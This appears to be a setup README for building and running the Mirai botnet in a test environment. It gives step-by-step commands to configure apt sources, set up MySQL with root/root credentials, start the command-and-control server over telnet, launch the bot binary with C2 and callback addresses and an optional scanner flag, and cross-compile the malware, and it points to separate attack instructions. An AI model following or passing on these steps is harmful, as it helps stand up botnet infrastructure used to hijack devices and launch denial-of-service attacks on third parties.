We'll need to update the sources.list
to get apt-get
working (only applies to cnc).
- go to
/etc/apt
- rename
sources.list
tosources.list.bak
- create a new
sources.list
and add the following lines to it
###### Ubuntu Main Repos
deb http://sg.archive.ubuntu.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://sg.archive.ubuntu.com/ubuntu/ trusty main restricted universe multiverse
###### Ubuntu Update Repos
deb http://sg.archive.ubuntu.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://sg.archive.ubuntu.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://sg.archive.ubuntu.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://sg.archive.ubuntu.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://sg.archive.ubuntu.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://sg.archive.ubuntu.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://sg.archive.ubuntu.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://sg.archive.ubuntu.com/ubuntu/ trusty-backports main restricted universe multiverse
- now
apt-get
should work
- install mysql:
sudo apt-get install mysql-server mysql-client
- make sure you set the root password as
root
during the installation
- run scripts/db.sql in the mysql shell
<in the scripts folder>
$ mysql -u root -p
<enter password>
source db.sql;
\q
- to make sure you are not kicked out of the session, add these two lines under the
[mysqld]
section in/etc/mysql/my.cnf
(you will probably need root access)
[mysqld]
...
wait_timeout = 86400
interactive_timeout = 86400
- restart mysql:
sudo service mysql restart
- run the cnc:
sudo ./cnc
- in order to access the cnc, use
telnet localhost
(assumes you are telnet-ing on the cnc machine) - use
username: root
andpassword: root
to login (as defined in scripts/db.sql) - refer to attack-instructions.md for how to launch an attack
- run the bot:
sudo ./debug/mirai.dbg <cnc ip> <local ip> <callback ip> <enable scanner 0/1>
(assumes you have built the debug version)
- e.g.
sudo ./debug/mirai.dbg 10.0.0.1 10.0.0.2 10.0.0.1 0
- you can use mirai/demo-bot.sh that automatically finds the ip address of eth0 (be sure to change the hardcoded cnc and callback ip addresses)
- install golang
$ sudo add-apt-repository ppa:ubuntu-lxc/lxd-stable
$ sudo apt-get update
$ sudo apt-get install golang
- run scripts/cross-compile.sh (needs root)
- add export paths in
~/.bashrc
(you may need to restart bash after this step)
add the following lines:
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/usr/lib/go/bin
export GOPATH=$HOME/Documents/go
- install git:
sudo apt-get install git
- install go packages
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
- build using mirai/build.sh
- e.g.
mirai/build.sh debug telnet
- only the debug, telnet version has been tested
- output files will be in the
debug
folder, withcnc
andmirai.dbg
(the bot)